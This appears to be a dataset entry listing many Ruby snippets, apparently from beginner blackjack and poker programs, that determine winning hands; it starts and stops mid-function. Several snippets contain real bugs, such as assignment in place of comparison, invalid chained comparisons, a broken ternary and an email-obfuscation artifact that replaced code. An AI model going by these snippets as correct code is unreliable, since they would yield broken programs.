puts \"Tie!\\n\\n\"\n\t\t result = \"Tie!\"\n print \"Press Enter to continue.\"\n end\n #Dee if the dealer has gone bust\n if dealerHand > 21 then\n puts \"The Dealer has gone bust!\\n\\n\"\n\t\t result = \"The Player has won\"\n print \"Press Enter to continue.\"\n else\n #See if the player's hand beats the dealer's hand\n if playerHand > dealerHand then\n puts \"You have won!\\n\\n\"\n\t\t result = \"The player has won!\"\n print \"Press Enter to continue.\"\n end\n #See if the dealer's hand beats the player's hand\n if playerHand < dealerHand then\n puts \"The Dealer has won!\\n\\n\"\n\t\t result = \"The Dealer has won!\"\n print \"Press Enter to continue.\"\n end\n end \n end\n write_log_file(playerHand, dealerHand, result)\n Console_Screen.pause #Pause the game\n \n end", "def determine_winning_hand(dealer, player)\n if dealer > 21\n puts \"The dealer busts with a hand total of #{dealer}. You win!\"\n elsif dealer > player\n puts \"The dealer, with a hand total of #{dealer}, beats your hand total of #{player}. Dealer wins!\"\n elsif player > dealer\n puts \"Your hand total of #{player} beats the dealer's hand total of #{dealer}. You win!\"\n else\n puts \"Both of your hands total #{player}. It's a push!\"\n end\nend", "def determine_winner( player )\n @events.handle(:determine_player_win, player, @dealer) do\n player.hands.each do |hand|\n @events.handle(:pre_determine_players_hand_win, hand, @dealer.hand)\n\n w = hand.winnings(@dealer.hand)\n player.cash += w\n hand.clear_bet!\n\n @events.handle(:post_determine_players_hand_win, w, hand, @dealer.hand)\n end\n end\n end", "def result\n if (hand.player_points <= LIMIT_POINTS && hand.player_points > hand.points_dealer) ||\n (hand.player_points <= LIMIT_POINTS && hand.points_dealer > LIMIT_POINTS)\n :player_win\n elsif (hand.points_dealer <= LIMIT_POINTS && hand.points_dealer > hand.player_points) ||\n (hand.points_dealer <= LIMIT_POINTS && hand.player_points > LIMIT_POINTS)\n puts 'Dealer win.'\n :dealer_win\n else\n :draw\n end\n end", "def show_hands\n player_final_value = player_hand.reduce(:+)\n dealer_final_value = dealer_hand.reduce(:+)\n puts \"Player has a total of #{player_final_value}. Dealer has a total of #{dealer_final_value}\"\n if player_final_value > dealer_final_value\n puts \"You win, congrats on beating a program built by a novice.\"\n else\n puts \"I have bested you.\"\n end\n end", "def determining_winner\n if @player_hand_points = 21 && @dealer_hand_points < 21 || 21 > @player_hand_points > @dealer_hand_points || @dealer_hand_points > 21\n @player_win\n elsif @player_hand_points > 21 && @dealer_hand_points > 21 || @player_hand_points = @dealer_hand_points\n @player_tie\n else @dealer_hand_points = 21 && @player_hand_points < 21 || 21 > @dealer_hand_points > @player_hand_points || @player_hand_points > 21\n @player_loss\n end\n end", "def who_wins\n\n bj = false\n bust = false\n #//Check for dealer status after the showing hands\n if @dealer.busted?\n @ui.message(\"dealer loses\")\n bust=true\n else\n if @dealer.get_value == 21 && @dealer.num_cards == 2\n bj=true\n end\n end\n\n #//Check for player status after showing hands\n\n for player in @players\n hand_index = 0\n while hand_index < player.num_hands\n if player.busted?(hand_index)\n ui.message(player.name+\"loses on hand\"+ (hand_index+1).to_s)\n else\n if player.get_value(hand_index) == 21 && player.num_cards(hand_index) == 2 && !player.split?\n if BJ == true\n @ui.message(player.name+\" and dealer has a black jack!!! its a push on hand\"+ (hand_index+1).to_s)\n @ui.message(player.name+\"gets back \"+ player.push(hand_index).to_s)\n else\n @ui.message(\" its a black jack!!!\"+player.name+\" wins on hand\"+ (hand_index+1).to_s)\n @ui.message(player.name+\"gets \"+player.win(hand_index,true).to_s)\n end\n else\n if !bust\n if player.get_value(hand_index) > @dealer.get_value\n @ui.message(player.name+\" wins on hand\"+ (hand_index+1).to_s+\"!!!\")\n @ui.message(player.name+\"gets \"+player.win(hand_index,false).to_s)\n elsif player.get_value(hand_index) == dealer.get_value\n @ui.message(\"Its a push on hand\"+ (hand_index+1).to_s+\"!!!\"+player.name+\" and dealer has same value.\")\n @ui.message(player.name+\"gets back \"+ player.push(hand_index).to_s)\n else\n @ui.message(player.name+\" loses on hand\"+ (hand_index+1).to_s)\n end\n else\n @ui.message(player.name+\" wins on hand\"+ (hand_index+1).to_s+\"!!!\")\n @ui.message(player.name+\"gets \"+player.win(hand_index,false).to_s)\n end\n end\n end\n hand_index+=1\n end\n end\n end", "def determine_winner(playerHand, dealerHand)\r\n \r\n Console_Screen.cls \r\n\r\n puts \"Player's hand: \" + playerHand.to_s + \"\\n\\n\"\r\n puts \"Dealer's hand: \" + dealerHand.to_s + \"\\n\\n\\n\\n\\n\\n\"\r\n write_log_file(\"Player's hand: \" + playerHand.to_s)\r\n write_log_file(\"Dealer's hand: \" + dealerHand.to_s)\r\n \r\n if playerHand > 21 then \r\n puts \"You have gone bust!\\n\\n\"\r\n write_log_file(\"The Dealer has won!\")\r\n print \"Press Enter to continue.\" \r\n else \r\n if playerHand == dealerHand then\r\n puts \"Tie!\\n\\n\"\r\n write_log_file(\"Tie!\")\r\n print \"Press Enter to continue.\"\r\n end\r\n if dealerHand > 21 then\r\n puts \"The Dealer has gone bust!\\n\\n\"\r\n write_log_file(\"The Player has won!\")\r\n print \"Press Enter to continue.\"\r\n else\r\n if playerHand > dealerHand then\r\n puts \"You have won!\\n\\n\"\r\n write_log_file(\"The Player has won!\")\r\n print \"Press Enter to continue.\"\r\n end\r\n if playerHand < dealerHand then\r\n puts \"The Dealer has won!\\n\\n\"\r\n write_log_file(\"The Dealer has won!\")\r\n print \"Press Enter to continue.\"\r\n end\r\n end \r\n end\r\n\r\n # Number 4 - Log results to file with 50 dashes ***\r\n write_log_file(\"-\" * 50)\r\n \r\n Console_Screen.pause #Pause the game\r\n \r\n end", "def win?(player_check)\n other = \"\"\n player_check == player ? other = dealer : other = player\n if (player_check == player)&&(player_check.hand_total == other.hand_total)\n return \"Tie\"\n elsif (player_check.bust == false) && (other.bust == false) && (player_check.hand_total > other.hand_total)\n return true\n elsif (player_check.hand_total == 21)\n return true\n elsif (player_check.bust == false) && (other.bust == false)&&(player_check.hand_total < other.hand_total)\n return false\n elsif (player_check.bust == false) && (other.bust == true)\n return true\n elsif (player_check.bust == true) && (other.bust == false)\n return false\n elsif (player_check.bust = true) && (other.bust == true)\n return \"Bust\"\n end\n end", "def winning_hand\n if !(@player.hand.bust)\n if @player.hand.value > @dealer.hand.value\n player_win\n elsif @player.hand.value == @dealer.hand.value\n if @player.hand.blackjack? && [email protected]?\n player_win\n else\n puts \"The hand pushed\"\n @player.push_bet\n puts \"You have #{@player.chips_remaining} remaining\"\n end\n else\n puts \"You lost the hand\"\n puts \"You have #{@player.chips_remaining} remaining\"\n end\n else\n puts \"You busted\"\n puts \"You have #{@player.chips_remaining} remaining\"\n end\n end", "def determine_winner(playerHand, dealerHand)\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n #Show the value of the player and dealer's hands\r\n puts \"Player's hand: \" + playerHand.to_s + \"\\n\\n\"\r\n puts \"Dealer's hand: \" + dealerHand.to_s + \"\\n\\n\\n\\n\\n\\n\"\r\n write_log_file(\"Player's hand: \" + playerHand.to_s)\r\n write_log_file(\"Dealer's hand: \" + dealerHand.to_s)\r\n\r\n if playerHand > 21 then #See if the player has gone bust\r\n puts \"You have gone bust!\\n\\n\"\r\n write_log_file(\"The Player has gone bust.\")\r\n print \"Press Enter to continue.\"\r\n else #See if the player and dealer have tied\r\n if playerHand == dealerHand then\r\n puts \"Tie!\\n\\n\"\r\n write_log_file(\"Tie!\")\r\n print \"Press Enter to continue.\"\r\n end\r\n #Dee if the dealer has gone bust\r\n if dealerHand > 21 then\r\n puts \"The Dealer has gone bust!\\n\\n\"\r\n write_log_file(\"The Dealer has gone bust.\")\r\n print \"Press Enter to continue.\"\r\n else\r\n #See if the player's hand beats the dealer's hand\r\n if playerHand > dealerHand then\r\n puts \"You have won!\\n\\n\"\r\n write_log_file(\"The Player has won!\")\r\n print \"Press Enter to continue.\"\r\n end\r\n #See if the dealer's hand beats the player's hand\r\n if playerHand < dealerHand then\r\n puts \"The Dealer has won!\\n\\n\"\r\n write_log_file(\"The Dealer has won!\")\r\n print \"Press Enter to continue.\"\r\n end\r\n end\r\n end\r\n\r\n write_log_file(\"-\" * 50)\r\n Console_Screen.pause #Pause the game\r\n\r\n end", "def dealer_turns\n while (dealer.hand_total < 16)\n self.hit(dealer)\n hand_check(dealer)\n end\n winner\n end", "def compare_hands\n players_hash = Hash.new(0)\n @active_players.each do |player|\n players_hash[player] = player.hand.analyze_hand_value\n end\n\n highest_val = players_hash.values.max\n winners = players_hash.reject { |_, val| val != highest_val }\n\n winners.keys.each do |winner|\n winner.chip_count += @pot.to_f / winners.length.to_f\n end\n winners_str = \"This rounds winner(s) is/are\"\n winners.keys.each do |winner|\n winners_str << \" #{winner.name}\"\n end\n winners_str << \"!!!!\\n\"\n puts winners_str\n end", "def compare_hands\r\n\t\tcase @player.hand.hand_value <=> @dealer.hand.hand_value\r\n\t\t\twhen 1 then puts \"#{@player.name} wins!\"\r\n\t\t\twhen -1 then puts \"#{@dealer.name} wins.\"\r\n\t\t\twhen 0 then puts \"It's a push.\"\r\n\t\tend\r\n\tend", "def determine_winner\n blackjack\n bust\n if player.score == dealer.score\n puts \"---------Tie - Player Wins!---------\"\n elsif player.score > dealer.score\n puts \"------------Player Wins!------------\"\n puts \"Dealer had #{dealer.score}.\"\n else dealer.score > player.score\n puts \"-------------Dealer Wins------------\"\n puts \"Dealer Score: #{dealer.score}\"\n end\n end", "def results\n\t\t# reset totals\n\t\t@dealer_total = 0\n\t\t@player_total = 0\n\t\t# display results\n\t\tputs \"\\nDEALER:\\n-------\"\n\t\tif @player_done.nil?\n\t\t\tputs \"/// hidden card ///\"\n\t\t\tcard = @dealer_hand[1]\n\t\t\tputs \"#{card.face} of #{card.suit} (#{card.value})\"\n\t\t\t@dealer_total += card.value\n\t\telse\n\t\t\t@dealer_hand.each do |card|\n\t\t\t\tputs \"#{card.face} of #{card.suit} (#{card.value})\"\n\t\t\t\t@dealer_total += card.value\n\t\t\tend\n\t\tend\n\t\tputs \"---> TOTAL (#{@dealer_total})\"\n\t\tputs \"\\nPLAYER:\\n-------\"\n\t\t@player_hand.each do |card|\n\t\t\tputs \"#{card.face} of #{card.suit} (#{card.value})\"\n\t\t\t@player_total += card.value\n\t\tend\n\t\tputs \"---> TOTAL (#{@player_total})\"\n\t\tprint \"\\nYou have #{@player_total}. \"\n\t\t# determine how to proceed based on totals\n\t\tif @player_total == 21\n\t\t\tputs \"BLACKJACK!! You win!\"\n\t\t\tputs \"*******************************************\"\n\t\t\tself.player_wins += 1\n\t\telsif @player_total > 21\n\t\t\tputs \"BUST!! You lost.\"\n\t\t\tputs \"*******************************************\"\n\t\t\tself.dealer_wins += 1\n\t\telsif @dealer_total == 21\n\t\t\tputs \"Dealer has BLACKJACK. You lost.\"\n\t\t\tputs \"*******************************************\"\n\t\t\tself.dealer_wins += 1\n\t\telsif @dealer_total > 21\n\t\t\tputs \"Dealer BUSTS. You win!\"\n\t\t\tputs \"*******************************************\"\n\t\t\tself.player_wins += 1\n\t\telsif (@dealer_total < @player_total && @player_total <= 21) && !(@player_done.nil?)\n\t\t\tputs \"Dealer has #{@dealer_total}. You win!\"\n\t\t\tputs \"*******************************************\"\n\t\t\tself.player_wins += 1\n\t\telsif (@dealer_total > @player_total && @player_total <= 21) && !(@player_done.nil?)\n\t\t\tputs \"Dealer has #{@dealer_total}. You lost.\"\n\t\t\tputs \"*******************************************\"\n\t\t\tself.dealer_wins += 1\n\t\telsif @dealer_total == 21 && @player_total == 21\n\t\t\tputs \"Dealer has #{@dealer_total}. You win!\"\n\t\t\tputs \"*******************************************\"\n\t\t\tself.player_wins += 1\n\t\telsif @dealer_total == @player_total && !(@player_done.nil?)\n\t\t\tputs \"Dealer has #{@dealer_total}. You win!\"\n\t\t\tputs \"*******************************************\"\n\t\t\tself.player_wins += 1\n\t\telse\n\t\t\tself.hit_or_stand?\n\t\tend\n\t\tputs \"Score:\"\n\t\tputs \"Player: #{player_wins} --- Dealer: #{dealer_wins}\"\n\t\t# prompt to start new game or end\n\t\tself.continue?\n\tend", "def winner\n\t\tbest_for_1 = best_hand(@hand1)\n\t\tbest_for_2 = best_hand(@hand2)\n\t\tcase best_for_1[:rank] <=> best_for_2[:rank]\n\t\t\twhen -1 then 2\n\t\t\twhen 1 then 1\n\t\t\twhen 0 then check_kicker(best_for_1, best_for_2)\n\t\tend\n\tend", "def final_round()\n d = value(@dealer)\n puts \"--- Check Round --- \"\n puts \"Dealers' cards are #{@dealer.join(',')} for a value #{d}\"\n\n # Iterate over all players who are still in the game,\n # as in they haven't lost in the initial round doing 'hits'\n #\n # Precondition: forall p in players where p.cur_playing == false, value(p.cards) <= 21\n @players.find_all{|p| p.cur_playing}.each do |p|\n if value(p.cards) < d && d <= 21 # Dealer Wins\n puts \"Player #{p.index} has deck worth #{value p.cards}, and loses to the dealer...\"\n debit_player(p)\n elsif (value(p.cards) > d && d <= 21) || d > 21 # Player Wins\n puts \"Player #{p.index} has deck worth #{value p.cards}, and wins with the dealer...\"\n credit_player(p)\n elsif value(p.cards) == d\n puts \"Player #{p.index} has deck worth #{value p.cards}, and draws with the dealer...\"\n end\n end\n end", "def detect_result(dealer_hand, player_hand)\n player_total = calculate_total(player_hand)\n dealer_total = calculate_total(dealer_hand)\n\n if player_total > 21\n :player_busted\n elsif dealer_total > 21\n :dealer_busted\n elsif dealer_total < player_total\n :player\n elsif player_total < dealer_total\n :dealer\n else\n :tie\n end\nend", "def game_over(player_total, dealer_total, player_cards, dealer_cards, player_deposit_amount, bet_amount, draw_dealer_cards)\n if dealer_total == player_total\n puts \"It's a tie\" \n player_deposit_amount += bet_amount\n elsif player_total > 21 \n puts \"You've busted. Sorry, the dealer wins this game\"\n player_deposit_amount -= bet_amount\n elsif dealer_total > 21\n puts \"Dealer busted. You won the game\"\n player_deposit_amount += (bet_amount*2)\n elsif dealer_total > player_total \n puts \"Sorry, the dealer wins this time\"\n player_deposit_amount -= bet_amount\n elsif player_total > dealer_total\n puts \"Congratulations ...you won\"\n player_deposit_amount += (bet_amount*2)\n end \n if draw_dealer_cards\n draw_cards(dealer_cards, \"Dealer\")\n end\n player_deposit_amount\nend", "def hand_of_poker\n players_in_hand = @players.dup\n @players.each {|player| deal(player, 5)}\n remaining_players = betting_round(players_in_hand)\n unless remaining_players.count == 1\n exchange_cards\n remaining_players = betting_round(remaining_players)\n unless remaining_players.count == 1\n remaining_players = compare_hands(remaining_players)\n end\n end\n winner = remaining_players.first\n puts \"#{winner.name} wins!\"\n print \"\\n\\n\\n\"\n pay_out(winner)\n reset_deck\n end", "def detect_result(dealer_cards, player_cards)\n player_total = total(player_cards)\n dealer_total = total(dealer_cards)\n\n if player_total > WINNING_TOTAL\n :player_busted\n elsif dealer_total > WINNING_TOTAL\n :dealer_busted\n elsif dealer_total < player_total\n :player\n elsif dealer_total > player_total\n :dealer\n else\n :tie\n end\nend", "def eval_hand(player, player_hand)\n d = @dealer.hand.count\n p = player_hand.count\n\n if p > 21 || (d > p && d <= 21) # LOSE!\n puts \"You lost $#{player_hand.bet}.\"\n elsif d == p # PUSH!\n player.wallet += player_hand.bet\n puts :Push\n elsif p == 21 && player_hand.size == 2 # BLACKJACK!\n # Blackjack pays out 3/2.\n player.wallet += (player_hand.bet*2.5).to_i\n puts \"You won $#{player_hand.bet*1.5}!\"\n else # WIN!\n player.wallet += (player_hand.bet*2)\n puts \"You won $#{player_hand.bet}!\"\n end\n end", "def who_is_winner?(users_name, users_hand, dealers_hand, cards_n_values, initial_deal_bool)\n # Set variables to make it easier on the eyes in proceeding decision tree\n users_sum = sum_cards(users_hand, cards_n_values, users_name, initial_deal_bool)\n dealers_sum = sum_cards(dealers_hand, cards_n_values, \"Dealer\", initial_deal_bool)\n\n if users_sum > dealers_sum\n # User wins\n return users_name\n elsif users_sum == dealers_sum\n # Push, no one wins, game over\n return \"push\"\n else\n # Dealer wins\n return \"Dealer\"\n end\n\nend", "def detect_result(dealer_cards, player_cards)\n player_total = total(player_cards)\n dealer_total = total(dealer_cards)\n\n if player_total > WINNING_VALUE\n :player_busted\n elsif dealer_total > WINNING_VALUE\n :dealer_busted\n elsif dealer_total < player_total\n :player\n elsif dealer_total > player_total\n :dealer\n else\n :tie\n end\nend", "def determine_dealers_best_total\n # @dealer_hand = ['ace of spades', '5 of spades', '4 of spades', 'ace of diamonds']\n # @player1_hand = ['3 of spades', 'ace of hearts', '4 of spades', 'ace of clubs']\n # @player1_hand = ['ace of clubs', '2 of clubs', 'ace of hearts', '4 of hearts']\n # @dealer_hand = ['king of hearts', '6 of diamonds']\n sum_of_dealers_hand = 0\n number_of_aces_in_hand = 0\n @dealer_hand.each {|x| # begin loop adding dealers hand\n card_value = @deckhash.fetch(x)\n\n if card_value == 1 then # adjust aces to a value of 11\n card_value = 11\n number_of_aces_in_hand = number_of_aces_in_hand + 1\n end\n sum_of_dealers_hand = sum_of_dealers_hand + card_value\n\n } #end of loop adding dealers hand\n\n if sum_of_dealers_hand > 21 then # must set one or more aces back to one\n loop do\n if number_of_aces_in_hand == 0 then break end\n sum_of_dealers_hand = sum_of_dealers_hand - 10\n if sum_of_dealers_hand < 22 then break end\n number_of_aces_in_hand = number_of_aces_in_hand - 1\n end #end of loop do\n end #end of sum_of_dealers_hand > 21\n\n # $stdout.write(\"Showing card and value #{sum_of_dealers_hand}, #{number_of_aces_in_hand} \\n\")\n # ### this method returns of the dealer's best hand'\n\n sum_of_dealers_hand = sum_of_dealers_hand + 0\n\n end", "def compare_method\n\tif dealer_final > player_final \n\t\tputs \"Sorry, #{name}, Dealer wins!\"\n\telsif player_final > dealer_final\n\t\tputs \"Congrats #{name}, You won!\"\nend\n\n\nboard = initialize_board\ndraw_board(board)\nbegin\n player_places_piece(board)\n draw_board(board)\n computer_places_piece(board)\n draw_board(board)\n winner = check_winner(board)\nend until winner || nine_positions_are_filled?(board)\nif winner\n announce_winner(winner)\nelse\n puts \"It's a tie.\"\nend\n\ndeck = [1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11]\n\n# this method is called whenever there is a card drawn. it checks to see if the player has busted. \n\ndef bust_method\n\tif original_total > 21 \n\t\tputs \"You have BUSTED!\"\n\telsif original_total == 21\n\t\tputs \"You got 21!\"\n\telsif original_total < 21 \n\t\tputs \"Hit or Stay?\"\n\tend \nend", "def play_game (dealer, player, deck)\n # initial deal\n 2.times do\n player.hand << deck.cards.pop\n dealer.hand << deck.cards.pop\n end\n # player round\n p_value = player.p_round(dealer, player, deck)\n d_value = 0\n # evaluate player for blackjack/bust before dealer plays round\n if (player.blackjack?(p_value) != true) && (player.bust?(p_value) != true)\n # dealer round\n d_value = dealer.d_round(dealer, player, deck)\n end\n evaluate(dealer, player, d_value, p_value)\n end", "def round\n puts \"The dealer is showing the #{dealer.first.face} of #{dealer.first.suit}.\"\n puts \"You have the #{player.first.face} of #{player.first.suit} and the #{player.last.face} of #{player.last.suit}, worth\"\n check_player_hand\n if player_hand_value == 21\n puts \"You're at 21-- YOU WIN!\"\n new_game?\n end\n\n end", "def settle_round(dealer_value, dealer_has_blackjack)\n @hands.each do |hand|\n if !hand.is_bust() # Only deal with hands that are still active\n if !(hand == @hands[0] && hand.is_blackjack()) # Blackjack hands are already considered inside start_round\n if dealer_value > 21 || (hand.hand_value() > dealer_value) # Player won! Add winnings of the hand to the player\n puts \"Player #{@position} wins against the dealer\"\n add_winnings(hand, blackjack=false, push=false)\n elsif dealer_has_blackjack || hand.hand_value() < dealer_value # If dealer has a blackjack or has higher hand value\n puts \"Player #{@position} loses to the dealer\" # User loses the bet he played\n elsif hand.hand_value() == dealer_value # Player drew. He gets back the bet he placed for the hand\n puts \"Player #{@position} gets a push\"\n add_winnings(hand, blackjack=false, push=true)\n end\n end\n end\n end \n end", "def detect_result(dealer_cards, player_cards)\n player_total = total(player_cards)\n dealer_total = total(dealer_cards)\n\n if player_total > GAME_MAX_TOTAL\n :player_busted\n elsif dealer_total > GAME_MAX_TOTAL\n :dealer_busted\n elsif dealer_total < player_total\n :player\n elsif dealer_total > player_total\n :dealer\n else\n :tie\n end\nend", "def check_winner(d_hand,p_hand)\n if blackjack?(d_hand) && blackjack?(p_hand)\n tie\n elsif blackjack?(d_hand) && !blackjack?(p_hand)\n game_over\n elsif blackjack?(p_hand)\n blackjack\n end\n\n end", "def detect_result(dealer_cards, player_cards)\n player_total = total(player_cards)\n dealer_total = total(dealer_cards)\n\n if player_total > GAME_LIMIT\n :player_busted\n elsif dealer_total > GAME_LIMIT\n :dealer_busted\n elsif dealer_total < player_total\n :player\n elsif dealer_total > player_total\n :dealer\n else\n :tie\n end\nend", "def detect_result(dealer_cards, player_cards)\n player_total = total(player_cards)\n dealer_total = total(dealer_cards)\n\n if player_total > BREAK_POINT\n :player_busted\n elsif dealer_total > BREAK_POINT\n :dealer_busted\n elsif dealer_total < player_total\n :player\n elsif dealer_total > player_total\n :dealer\n else\n :tie\n end\nend", "def detect_result(dealer_cards, player_cards)\n player_total = total(player_cards)\n dealer_total = total(dealer_cards)\n\n if player_total > BREAK_POINT\n :player_busted\n elsif dealer_total > BREAK_POINT\n :dealer_busted\n elsif dealer_total < player_total\n :player\n elsif dealer_total > player_total\n :dealer\n else\n :tie\n end\nend", "def blackjack_or_bust?(player_or_dealer)\n if player_or_dealer.total == BLACKJACK_AMOUNT\n if player_or_dealer.is_a?(Dealer)\n puts \"Sorry, dealer hit BlackJack. #{player.name} loses.\"\n play_again?\n else\n puts \"Congrats. #{player.name} hit BlackJack. #{player.name} wins!\"\n play_again?\n end\n\n elsif player_or_dealer.is_busted?\n if player_or_dealer.is_a?(Player)\n puts \"Sorry, #{player.name} busted. #{player.name} loses.\"\n play_again?\n else\n puts \"Congrats, dealer busted. #{player.name} wins!\"\n play_again?\n end\n end\n\n end", "def display_compare_cards(player_cards, dealer_cards)\n # compare cards!\n puts \"==============\"\n prompt \"Dealer has #{dealer_cards}, for a total of: #{total(dealer_cards)}\"\n prompt \"Player has #{player_cards}, for a total of: #{total(player_cards)}\"\n puts \"==============\"\nend", "def status\r\n \r\n {:player_cards => @player_hand.cards,\r\n :player_value => @player_hand.value,\r\n :dealer_cards => @dealer_hand.cards,\r\n :dealer_value => @dealer_hand.value,\r\n :winner => @winner}\r\n if @player_hand.value > 21 or @dealer_hand.value > 21\r\n @winner = determine_winner(@player_hand.value, @dealer_hand.value) \r\n puts \"BUSTED\"\r\n puts \"player-value = #{@player_hand.value}\"\r\n puts \"dealer-value = #{@dealer_hand.value}\"\r\n puts \"winner is #{@winner}\"\r\n else\r\n #puts \"player-cards = #{@player_hand.cards}\"\r\n #puts \"dealer-cards = #{@dealer_hand.cards}\"\r\n puts \"player-value = #{@player_hand.value}\"\r\n puts \"dealer-value = #{@dealer_hand.value}\" \r\n end\r\n end", "def detect_result(player, dealer)\n if player > WINNING_SCORE\n :player_busted\n elsif dealer > WINNING_SCORE\n :dealer_busted\n elsif dealer < player\n :player\n elsif dealer > player\n :dealer\n else\n :tie\n end\nend", "def detect_result(dealer_cards, player_cards)\r\n player_total = total(player_cards)\r\n dealer_total = total(dealer_cards)\r\n\r\n if player_total > HAND_LIMIT\r\n :player_busted\r\n elsif dealer_total > HAND_LIMIT\r\n :dealer_busted\r\n elsif dealer_total < player_total\r\n :player\r\n elsif dealer_total > player_total\r\n :dealer\r\n else\r\n :tie\r\n end\r\nend", "def add_winnings(hand, blackjack=false, push=false)\n if push # The user drew with the dealer, only gets back the bet placed\n @total_money += hand.bet\n else # The user won against the dealer\n if blackjack\n @total_money += (hand.bet * 2.5) # If the player got a blackjack, he wins 3:2. So, the total is 2.5 times the bet placed\n else\n @total_money += (hand.bet * 2) # Else the player wins the 1:1. So, the total is 2 times the bet placed\n end\n end\n end", "def dealer_method\n\tdcard1 = deck.sample\n\tdcard2 = deck.sample\n\tputs \"The dealer's cards are #{dcard1} and #{dcard2}. His total is currently #{dealer_total}\"\n\t\tif dealer_total > 21\n\t\t\tputs \"Dealer Busts\"\n\t\telsif dealer_total < 17 \n\t\t\tputs \"Dealer needs to draw\"\n\t\t\tdealer_draw\n\t\telse dealer_total >= 17 && dealer_total <= 21 \n\t\t\tcompare_method \n\t\tend \nend", "def dealer_won?\n !dealer.busted? && (player.busted? || dealer.cards_total > player.cards_total) \nend", "def dealer\n if @hand\n (@hand.dealer == @player1) ? @player2 : @player1\n else\n # coin toss\n (rand(2) == 0) @player1 : @player2\n end\n end", "def dealer_draw\n\tdcard_new = deck.sample \n\tdealer_total_new = dealer_total + dcard_new \n\tputs \"Dealer drew a #{dcard_new}. His new total is #{dealer_total_new}.\"\n\t\tif dealer_total_new > 21 \n\t\t\tputs \"Dealer Busts\"\n\t\telsif dealer total < 21\n\t\t\tdealer_draw\n\t\telse dealer_total_new >= 17 && dealer_total_new <= 21 \n\t\t\tcompare_method\n\t\tend\nend", "def tie_breaker_multi hand2\n values1 = values.sort.reverse\n values2 = hand2.values.sort.reverse\n 4.downto(1).each do |num|\n pick1 = values1.select {|card| values1.count(card) == num}\n pick2 = values2.select {|card| values2.count(card) == num}\n return pick1 <=> pick2 if pick1 != pick2\n end\n 0 # hands are identical\n end", "def hand_check(player_check)\n if player_check.hand_total > 21\n player_check.bust = true\n puts \"#{player_check.name} busted with #{player_check.hand_total}\"\n winner\n elsif player_check.hand_total == 21\n winner\n elsif six_cards?(player_check) == true\n puts \"~~~Six cards! #{player_check.name} wins!~~~\" ; player_check.score += 1\n show_hands_final\n again?\n end\n end", "def tie_winner \n\t\t# Store the winner information if there is a tie for player 1 and 2 \n\t\t@tie_1 = Array.new\n\t\t@tie_2 = Array.new\n\n\t\tfor i in 0..@best_hand_value_1.length-1 do \n\n\t\t\tif @best_hand_value_1[i] == @best_hand_value_2[i]\n\n\t\t\t\t# This cannot happen but included to be complete \n\t\t\t\tif @combo_name_1[i][0] == \"A Royal Flush\"\n\t\t\t\t\t@tie_1[i] = 0 \n\t\t\t\t\t@tie_2[i] = 0 \n\t\t\t\tend \n\t\t\t\t# find winner with two straight flushes\n\t\t\t\t# larger straight flush will be the largest value in the values array\n\t\t\t\tif @combo_name_1[i][0] == \"A Straight Flush\"\n\t\t\t\t\tif @hand_information_player_1[i]['vals'].sort[-1] > @hand_information_player_2[i]['vals'].sort[-1]\n\t\t\t\t\t\t@tie_1[i] = @hand_information_player_1[i]['vals'].sort[-1]\n\t\t\t\t\t\t@tie_2[i] = 0 \n\t\t\t\t\telsif @hand_information_player_1[i]['vals'].sort[-1] < @hand_information_player_2[i]['vals'].sort[-1]\n\t\t\t\t\t\t@tie_1[i] = 0\n\t\t\t\t\t\t@tie_2[i] = @hand_information_player_2[i]['vals'].sort[-1]\n\t\t\t\t\tend \n\t\t\t\tend\n\t\t\t\t# find winner with 2 four of a kinds\n\t\t\t\t# larger 4 of a kind will be the mode of the value array\n\t\t\t\tif @combo_name_1[i][0] == \"Four of a Kind\"\n\t\t\t\t\tif @hand_information_player_1[i]['vals'].mode > @hand_information_player_2[i]['vals'].mode\n\t\t\t\t\t\t@tie_1[i] = @hand_information_player_1[i]['vals'].mode\n\t\t\t\t\t\t@tie_2[i] = 0 \n\t\t\t\t\telsif @hand_information_player_1[i]['vals'].mode < @hand_information_player_2[i]['vals'].mode\n\t\t\t\t \t\t@tie_1[i] = 0\n\t\t\t\t \t\t@tie_2[i] = @hand_information_player_2[i]['vals'].mode\n\t\t\t\t \tend \n\t\t\t\tend \n\t\t\t\t# find winner with two three of a kinds\n\t\t\t\t# larger 3 of a kind will be the mode of the values array \n\t\t\t\tif @combo_name_1[i][0] == \"Three of a Kind\"\n\t\t\t\t\tif @hand_information_player_1[i]['vals'].mode > @hand_information_player_2[i]['vals'].mode\n\t\t\t\t\t\t@tie_1[i] = @hand_information_player_1[i]['vals'].mode\n\t\t\t\t\t\t@tie_2[i] = 0 \n\t\t\t\t\telsif @hand_information_player_1[i]['vals'].mode < @hand_information_player_2[i]['vals'].mode\n\t\t\t\t \t\t@tie_1[i] = 0\n\t\t\t\t \t\t@tie_2[i] = @hand_information_player_2[i]['vals'].mode\n\t\t\t\t \tend \n\t\t\t\tend \n\t\t\t\t# find winner with two full houses. Larger full house will be larger 3 of a kind, \n\t\t\t\t# which can be found as the mode of the values array \n\t\t\t\tif @combo_name_1[i][0] == \"A Full House\"\n\t\t\t\t\tif @hand_information_player_1[i]['vals'].mode > @hand_information_player_2[i]['vals'].mode\n\t\t\t\t\t\t@tie_1[i] = @hand_information_player_1[i]['vals'].mode\n\t\t\t\t\t\t@tie_2[i] = 0 \n\t\t\t\t\telsif @hand_information_player_1[i]['vals'].mode < @hand_information_player_2[i]['vals'].mode\n\t\t\t\t \t\t@tie_1[i] = 0\n\t\t\t\t \t\t@tie_2[i] = @hand_information_player_2[i]['vals'].mode\n\t\t\t\t \tend \n\t\t\t\tend \n\t\t\t\t# find winner with two flushes. Since a flush is 5 cards, max will store largest. \n\t\t\t\tif @combo_name_1[i][0] == \"A Flush\"\n\t\t\t\t\tif @hand_information_player_1[i]['max'] > @hand_information_player_2[i]['max'] \n\t\t\t\t\t\t@tie_1[i] = @hand_information_player_1[i]['max']\n\t\t\t\t\t\t@tie_2[i] = 0\n\t\t\t\t\telsif @hand_information_player_1[i]['max'] < @hand_information_player_2[i]['max'] \n\t\t\t\t\t\t@tie_1[i] = 0\n\t\t\t\t\t\t@tie_2[i] = @hand_information_player_2[i]['max']\n\t\t\t\t\tend \n\t\t\t\tend \n\t\t\t\t# find winner with two straights. Since a straight is 5 cards, the max will have \n\t\t\t\t# the larger of 